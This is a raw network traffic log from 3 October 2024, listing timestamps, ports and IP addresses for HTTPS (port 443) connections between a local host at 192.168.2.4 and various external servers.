Oct 3, 2024 10:41:40.686480999 CEST	443	49931	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.686781883 CEST	49932	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:40.686846972 CEST	443	49932	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:40.687149048 CEST	49931	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.687208891 CEST	49932	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:40.731400013 CEST	443	49931	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.731404066 CEST	443	49932	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:40.747674942 CEST	49929	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.747721910 CEST	49934	443	192.168.2.4	18.245.46.25
Oct 3, 2024 10:41:40.758572102 CEST	443	49935	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:40.761027098 CEST	49935	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:40.761049032 CEST	443	49935	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:40.761423111 CEST	443	49935	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:40.763099909 CEST	49935	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:40.763163090 CEST	443	49935	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:40.763442993 CEST	49935	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:40.807404995 CEST	443	49935	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:40.815407991 CEST	443	49933	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:40.815468073 CEST	49933	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:40.832478046 CEST	443	49930	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.832518101 CEST	443	49930	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.832526922 CEST	443	49930	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.832587957 CEST	49930	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.832631111 CEST	443	49930	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.834065914 CEST	443	49930	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.834256887 CEST	49930	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.852878094 CEST	443	49939	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:40.857872963 CEST	443	49937	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:40.859776974 CEST	443	49933	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:40.859800100 CEST	443	49933	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:40.859863997 CEST	443	49933	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:40.859888077 CEST	49933	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:40.859927893 CEST	49933	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:40.874808073 CEST	49937	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:40.874808073 CEST	49939	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:40.874821901 CEST	443	49937	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:40.874825954 CEST	443	49939	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:40.875341892 CEST	443	49937	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:40.875864983 CEST	49937	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:40.875960112 CEST	443	49937	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:40.876095057 CEST	49933	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:40.876112938 CEST	443	49933	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:40.876118898 CEST	443	49939	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:40.876203060 CEST	49939	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:40.877460957 CEST	49939	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:40.877532959 CEST	443	49939	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:40.877801895 CEST	49937	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:40.878215075 CEST	49939	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:40.878223896 CEST	443	49939	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:40.882194042 CEST	49930	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.882231951 CEST	443	49930	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.923403025 CEST	443	49937	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:40.935435057 CEST	49939	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:40.945904016 CEST	443	49938	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.948024988 CEST	49938	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.948036909 CEST	443	49938	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.948512077 CEST	443	49938	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.949074984 CEST	49938	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.949160099 CEST	443	49938	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.949333906 CEST	49938	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.971127987 CEST	443	49941	142.250.185.70	192.168.2.4
Oct 3, 2024 10:41:40.971417904 CEST	49941	443	192.168.2.4	142.250.185.70
Oct 3, 2024 10:41:40.971430063 CEST	443	49941	142.250.185.70	192.168.2.4
Oct 3, 2024 10:41:40.972542048 CEST	443	49941	142.250.185.70	192.168.2.4
Oct 3, 2024 10:41:40.972598076 CEST	49941	443	192.168.2.4	142.250.185.70
Oct 3, 2024 10:41:40.973849058 CEST	49941	443	192.168.2.4	142.250.185.70
Oct 3, 2024 10:41:40.973951101 CEST	443	49941	142.250.185.70	192.168.2.4
Oct 3, 2024 10:41:40.974076986 CEST	49941	443	192.168.2.4	142.250.185.70
Oct 3, 2024 10:41:40.974088907 CEST	443	49941	142.250.185.70	192.168.2.4
Oct 3, 2024 10:41:40.984970093 CEST	443	49932	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:40.985080004 CEST	443	49932	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:40.985122919 CEST	49932	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:40.985598087 CEST	49932	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:40.985615969 CEST	443	49932	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:40.991429090 CEST	443	49938	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.016869068 CEST	443	49940	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.017307997 CEST	49940	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.017334938 CEST	443	49940	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.017687082 CEST	443	49940	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.018984079 CEST	49940	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.019054890 CEST	443	49940	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.019464016 CEST	49940	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.032103062 CEST	49938	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.047422886 CEST	49941	443	192.168.2.4	142.250.185.70
Oct 3, 2024 10:41:41.063414097 CEST	443	49940	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.065037966 CEST	443	49942	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.065660000 CEST	49942	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.065673113 CEST	443	49942	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.066236019 CEST	443	49942	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.067179918 CEST	49942	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.067179918 CEST	49942	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.067595005 CEST	443	49942	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.069890976 CEST	443	49935	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:41.069971085 CEST	443	49935	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:41.070095062 CEST	49935	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:41.075737000 CEST	49935	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:41.075757027 CEST	443	49935	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:41.082890034 CEST	443	49943	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.083668947 CEST	49943	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.083688974 CEST	443	49943	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.084037066 CEST	443	49943	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.084743977 CEST	49943	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.084813118 CEST	443	49943	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.085041046 CEST	49943	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.101629972 CEST	443	49936	34.251.185.45	192.168.2.4
Oct 3, 2024 10:41:41.102521896 CEST	49936	443	192.168.2.4	34.251.185.45
Oct 3, 2024 10:41:41.102550030 CEST	443	49936	34.251.185.45	192.168.2.4
Oct 3, 2024 10:41:41.103631020 CEST	443	49936	34.251.185.45	192.168.2.4
Oct 3, 2024 10:41:41.103718042 CEST	49936	443	192.168.2.4	34.251.185.45
Oct 3, 2024 10:41:41.105294943 CEST	49936	443	192.168.2.4	34.251.185.45
Oct 3, 2024 10:41:41.105361938 CEST	443	49936	34.251.185.45	192.168.2.4
Oct 3, 2024 10:41:41.105607986 CEST	49936	443	192.168.2.4	34.251.185.45
Oct 3, 2024 10:41:41.105618954 CEST	443	49936	34.251.185.45	192.168.2.4
Oct 3, 2024 10:41:41.113101006 CEST	443	49939	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:41.113185883 CEST	443	49939	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:41.113363981 CEST	49939	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:41.114701033 CEST	49939	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:41.114722013 CEST	443	49939	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:41.131406069 CEST	443	49943	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.153137922 CEST	443	49937	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:41.153247118 CEST	443	49937	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:41.153300047 CEST	49937	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:41.156369925 CEST	49937	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:41.156402111 CEST	443	49937	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:41.205996990 CEST	443	49929	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.206024885 CEST	443	49929	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.206087112 CEST	49929	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.206105947 CEST	443	49929	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.206120014 CEST	443	49929	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.206168890 CEST	49929	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.206489086 CEST	443	49944	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.209100008 CEST	49944	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.209131002 CEST	443	49944	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.210552931 CEST	443	49944	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.210618973 CEST	49944	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.212061882 CEST	49944	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.212177992 CEST	443	49944	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.213407993 CEST	49944	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.213417053 CEST	443	49944	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.239461899 CEST	49942	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.241058111 CEST	49936	443	192.168.2.4	34.251.185.45
Oct 3, 2024 10:41:41.241478920 CEST	443	49945	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.257086992 CEST	443	49941	142.250.185.70	192.168.2.4
Oct 3, 2024 10:41:41.257191896 CEST	443	49941	142.250.185.70	192.168.2.4
Oct 3, 2024 10:41:41.257252932 CEST	49941	443	192.168.2.4	142.250.185.70
Oct 3, 2024 10:41:41.275741100 CEST	443	49946	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.281416893 CEST	443	49936	34.251.185.45	192.168.2.4
Oct 3, 2024 10:41:41.281490088 CEST	443	49936	34.251.185.45	192.168.2.4
Oct 3, 2024 10:41:41.281579971 CEST	49936	443	192.168.2.4	34.251.185.45
Oct 3, 2024 10:41:41.335192919 CEST	443	49947	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.336571932 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:41.336610079 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:41.336620092 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:41.336688995 CEST	49934	443	192.168.2.4	18.245.46.25
Oct 3, 2024 10:41:41.336713076 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:41.336754084 CEST	49934	443	192.168.2.4	18.245.46.25
Oct 3, 2024 10:41:41.338829994 CEST	443	49942	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.338855982 CEST	443	49942	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.339003086 CEST	443	49942	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.339401007 CEST	49942	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.342303038 CEST	49942	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.344033003 CEST	443	49931	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.344055891 CEST	443	49931	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.344106913 CEST	443	49931	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.344110012 CEST	49931	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.346050024 CEST	49931	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.356858015 CEST	443	49943	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.356873035 CEST	443	49943	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.356957912 CEST	443	49943	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.356980085 CEST	49943	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.357086897 CEST	49943	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.416132927 CEST	49945	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.416134119 CEST	49947	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.423408031 CEST	443	49944	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.424365044 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:41.424443007 CEST	49944	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.435802937 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:41.435815096 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:41.435839891 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:41.435849905 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:41.435857058 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:41.435910940 CEST	49934	443	192.168.2.4	18.245.46.25
Oct 3, 2024 10:41:41.435934067 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:41.435964108 CEST	49934	443	192.168.2.4	18.245.46.25
Oct 3, 2024 10:41:41.436006069 CEST	49934	443	192.168.2.4	18.245.46.25
Oct 3, 2024 10:41:41.438297033 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:41.440386057 CEST	49934	443	192.168.2.4	18.245.46.25
Oct 3, 2024 10:41:41.448985100 CEST	49946	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.515286922 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:41.515326977 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:41.515460968 CEST	49934	443	192.168.2.4	18.245.46.25
Oct 3, 2024 10:41:41.515486002 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:41.515531063 CEST	49934	443	192.168.2.4	18.245.46.25
Oct 3, 2024 10:41:41.518732071 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:41.518795967 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:41.518837929 CEST	49934	443	192.168.2.4	18.245.46.25
Oct 3, 2024 10:41:41.518845081 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:41.518888950 CEST	49934	443	192.168.2.4	18.245.46.25
Oct 3, 2024 10:41:41.521042109 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:41.523767948 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:41.523803949 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:41.523850918 CEST	49934	443	192.168.2.4	18.245.46.25
Oct 3, 2024 10:41:41.523859978 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:41.523901939 CEST	49934	443	192.168.2.4	18.245.46.25
Oct 3, 2024 10:41:41.523930073 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:41.524523973 CEST	49934	443	192.168.2.4	18.245.46.25
Oct 3, 2024 10:41:41.606924057 CEST	443	49938	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.614327908 CEST	443	49938	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.614343882 CEST	443	49938	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.614367962 CEST	443	49938	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.614377022 CEST	443	49938	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.614402056 CEST	49938	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.614407063 CEST	443	49938	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.614423990 CEST	443	49938	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.614453077 CEST	443	49938	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.614485025 CEST	49938	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.614485025 CEST	49938	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.614631891 CEST	49938	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.679672003 CEST	443	49940	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.684679031 CEST	443	49940	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.684726000 CEST	443	49940	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.684766054 CEST	49940	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.684787989 CEST	443	49940	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.684813976 CEST	49940	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.687160969 CEST	443	49940	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.690073967 CEST	49940	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.745435953 CEST	49945	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.745460987 CEST	443	49945	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.745857000 CEST	49946	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.745883942 CEST	443	49946	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.746541023 CEST	443	49945	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.746556044 CEST	443	49945	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.746603966 CEST	49945	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.747030973 CEST	49947	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.747064114 CEST	443	49947	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.747128010 CEST	443	49946	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.747145891 CEST	443	49946	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.747185946 CEST	49946	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.747508049 CEST	443	49947	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.748213053 CEST	49945	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.748298883 CEST	443	49945	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.748886108 CEST	49946	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.748969078 CEST	443	49946	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.749169111 CEST	49947	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.749233007 CEST	443	49947	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.750643015 CEST	49945	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.750650883 CEST	443	49945	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.750865936 CEST	49946	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.750881910 CEST	443	49946	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.750998020 CEST	49947	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.773411989 CEST	49941	443	192.168.2.4	142.250.185.70
Oct 3, 2024 10:41:41.773442030 CEST	443	49941	142.250.185.70	192.168.2.4
Oct 3, 2024 10:41:41.792629004 CEST	49936	443	192.168.2.4	34.251.185.45
Oct 3, 2024 10:41:41.792665958 CEST	443	49936	34.251.185.45	192.168.2.4
Oct 3, 2024 10:41:41.795397043 CEST	443	49947	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.814249992 CEST	49929	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.814285040 CEST	443	49929	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.836486101 CEST	49945	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.906450033 CEST	443	49944	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.906476974 CEST	443	49944	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.906523943 CEST	443	49944	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.906557083 CEST	443	49944	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.906559944 CEST	49944	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.906589031 CEST	49944	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.906615973 CEST	49944	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.913024902 CEST	49942	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.913057089 CEST	443	49942	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.921072006 CEST	49949	443	192.168.2.4	142.250.185.70
Oct 3, 2024 10:41:41.921109915 CEST	443	49949	142.250.185.70	192.168.2.4
Oct 3, 2024 10:41:41.921324015 CEST	49949	443	192.168.2.4	142.250.185.70
Oct 3, 2024 10:41:41.921767950 CEST	49943	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.921787977 CEST	443	49943	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.922599077 CEST	49931	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.922621965 CEST	443	49931	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.923780918 CEST	49949	443	192.168.2.4	142.250.185.70
Oct 3, 2024 10:41:41.923800945 CEST	443	49949	142.250.185.70	192.168.2.4
Oct 3, 2024 10:41:41.936691046 CEST	443	49946	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.936764956 CEST	49946	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.936779022 CEST	443	49946	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.936796904 CEST	443	49946	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.936844110 CEST	49946	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.940227032 CEST	49934	443	192.168.2.4	18.245.46.25
Oct 3, 2024 10:41:41.940248013 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:41.941040993 CEST	443	49947	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.941073895 CEST	443	49947	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.941124916 CEST	49947	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.941149950 CEST	443	49947	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.941188097 CEST	49947	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.941193104 CEST	443	49947	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.941227913 CEST	443	49947	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.941267014 CEST	49947	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.941756010 CEST	49938	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.941776037 CEST	443	49938	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.942351103 CEST	49940	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.942382097 CEST	443	49940	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.969016075 CEST	49950	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.969063044 CEST	443	49950	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.969129086 CEST	49950	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.971661091 CEST	49951	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:41.971689939 CEST	443	49951	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:41.971816063 CEST	49951	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:41.974209070 CEST	49952	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.974232912 CEST	443	49952	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.974306107 CEST	49952	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.981810093 CEST	49950	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.981841087 CEST	443	49950	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.983746052 CEST	49951	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:41.983769894 CEST	443	49951	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:41.985285997 CEST	49953	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.985322952 CEST	443	49953	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.985372066 CEST	49953	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.986423969 CEST	49952	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.986437082 CEST	443	49952	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.989813089 CEST	49953	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.989844084 CEST	443	49953	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.991034031 CEST	49946	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.991044044 CEST	443	49946	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.991842985 CEST	49944	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:41.991857052 CEST	443	49944	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:41.992443085 CEST	49947	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:41.992463112 CEST	443	49947	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:41.993962049 CEST	49954	443	192.168.2.4	34.96.71.22
Oct 3, 2024 10:41:41.993989944 CEST	443	49954	34.96.71.22	192.168.2.4
Oct 3, 2024 10:41:41.994061947 CEST	49954	443	192.168.2.4	34.96.71.22
Oct 3, 2024 10:41:41.995412111 CEST	49955	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:41.995429039 CEST	443	49955	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:41.995995045 CEST	49955	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:41.997072935 CEST	49954	443	192.168.2.4	34.96.71.22
Oct 3, 2024 10:41:41.997097015 CEST	443	49954	34.96.71.22	192.168.2.4
Oct 3, 2024 10:41:41.998533010 CEST	49955	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:41.998544931 CEST	443	49955	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:42.055906057 CEST	443	49945	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:42.055927992 CEST	443	49945	13.33.187.116	192.168.2.4
